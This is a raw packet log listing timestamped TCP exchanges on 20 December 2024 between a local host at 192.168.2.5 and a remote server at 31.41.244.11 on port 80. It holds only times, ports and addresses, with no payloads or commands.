Dec 20, 2024 13:12:25.756262064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.756310940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.757469893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.757529974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.757590055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.757625103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.757699966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.758552074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.758611917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.758793116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.758851051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.759444952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.759501934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.759586096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.759640932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.760442972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.760504961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.761250973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.761312962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.761504889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.761558056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.761765957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.761821985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.762547016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.762605906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.763691902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.763725042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.763755083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.763776064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.763784885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.763828993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.764689922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.764739990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.764873981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.764924049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.765691996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.765743971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.765918970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.765963078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.766731977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.766791105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.767355919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.767417908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.767812014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.767869949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.767926931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.768002987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.768943071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.769000053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.769258022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.769313097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.769917011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.769973040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.770098925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.770154953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.771003962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.771058083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.771192074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.771246910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.771958113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.772106886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.772337914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.772387981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.773257017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.773328066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.910077095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.910191059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.910409927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.910439968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.910474062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.910500050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.910538912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.911374092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.911398888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.911449909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.911463022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.912204027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.912273884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.912302017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.912349939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.913294077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.913305998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.913351059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.913456917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.914613962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.914675951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.914844990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.914892912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.915287018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.915343046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.915894985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.915971994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.916377068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.916420937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.916532993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.916574001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.917378902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.917450905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.918086052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.918148994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.918389082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.918433905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.918551922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.918595076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.919476986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.919529915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.920557022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.920567989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.920614004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.920623064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.920665026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.921544075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.921600103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.922003984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.922059059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.922581911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.922635078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.923254013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.923667908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.923722029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.924007893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.924055099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.924706936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.924755096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.924853086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.924899101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.925790071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.925800085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.925843000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.926774025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.927256107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.927308083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.927835941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.927881002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.928128004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.928220034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.928941965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.928993940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.929095984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.929138899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.930016994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.930069923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.930130959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.930175066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.930999041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.931072950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.931355000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.931435108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.932116032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.932307005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.932396889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.933195114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.933262110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.933271885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.933381081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.934143066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.934372902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.934464931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.935182095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.935292959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.935982943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.936044931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.936269999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.936280012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.936342001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.937350035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.937407017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.938021898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.938106060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.938381910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.938452005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.938515902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.939553976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.939565897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.939621925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.940483093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.940613031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.940941095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.941083908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.941504002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.941550970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.942015886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.942061901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.942579985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.942626953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.942718029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.942759991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.943598986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.943649054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.943694115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.943739891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.944628000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.944968939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.945023060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.945708990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.945755005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.945811987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.945854902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.946893930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.946952105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.947004080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.947802067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.947911024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.947967052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.948893070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.949064016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.949120045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.950045109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.950115919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.950197935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.950293064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.950972080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.951015949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.951050997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.951093912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.951972008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.952646017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.952693939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.952955008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.952996969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.953027964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.953071117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.954032898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.954080105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.954745054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.954786062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.955121994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.955163956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.955528975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.955569983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.956207991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.956433058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.956478119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.957179070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.957231045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.957386971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.957428932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.958237886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.958301067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.958508015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.958551884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.959304094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.959625959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.959678888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.960324049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.960372925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.960680008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.960726976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.961390972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.961441040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.961500883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.961544991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.962490082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.962542057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.963089943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.963139057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.963556051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.963602066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.963965893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.964520931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.964571953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.965024948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.965073109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.102459908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.102622986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.102678061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.102848053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.102861881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.102911949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.103964090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.103975058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.104011059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.104036093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.105088949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.105098963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.105142117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.106137991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.106321096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.106364965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.107275009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.107322931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.107512951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.107556105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.108313084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.108361006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.108535051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.108578920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.109235048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.109276056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.109277010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.109317064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.110146999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.110188961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.110224962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.110269070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.111301899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.111341000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.112150908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.112279892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.112291098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.112328053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.113296032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.113358021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.114032030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.114077091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.114331007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.114373922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.114685059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.114727974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.115478039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.115636110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.115675926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.116498947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.116509914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.116552114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.117579937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.117590904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.117630959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.118536949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.118582010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.118659019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.118707895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.119599104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.119640112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.119812012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.119852066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.120683908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.120773077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.120815039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.121773005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.121822119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.121934891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.121978045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.122795105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.122837067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.122980118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.123020887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.123778105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.123871088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.124644041 CET	80	49859	31.41.244.11	192.168.2.5
